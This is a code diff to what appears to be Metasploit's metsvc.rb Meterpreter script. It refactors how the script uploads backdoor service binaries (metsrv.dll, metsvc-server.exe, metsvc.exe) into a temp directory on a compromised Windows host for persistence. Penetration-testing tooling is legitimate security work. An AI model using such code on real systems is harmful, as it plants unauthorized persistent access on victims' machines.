diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 8ed0b7d542..1e668389e2 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -70,11 +70,21 @@ if client.platform =~ /win32|win64/ print_status("Creating a temporary installation directory #{tempdir}...") client.fs.dir.mkdir(tempdir) - %W{ metsrv.dll metsvc-server.exe metsvc.exe }.each do |bin| - next if (bin != "metsvc.exe" and remove) - print_status(" >> Uploading #{bin}...") - fd = client.fs.file.new(tempdir + "\\" + bin, "wb") - fd.write(::File.read(File.join(based, bin), ::File.size(::File.join(based, bin)))) + # Use an array of `from -> to` associations so that things + # such as metsrv can be copied from the appropriate location + # but named correctly on the target. + bins = { + 'metsrv.x86.dll' => 'metsrv.dll', + 'metsvc-server.exe' => nil, + 'metsvc.exe' => nil + } + + bins.each do |from, to| + next if (from != "metsvc.exe" and remove) + to ||= from + print_status(" >> Uploading #{from}...") + fd = client.fs.file.new(tempdir + "\\" + to, "wb") + fd.write(::File.read(File.join(based, from), ::File.size(::File.join(based, from)))) fd.close end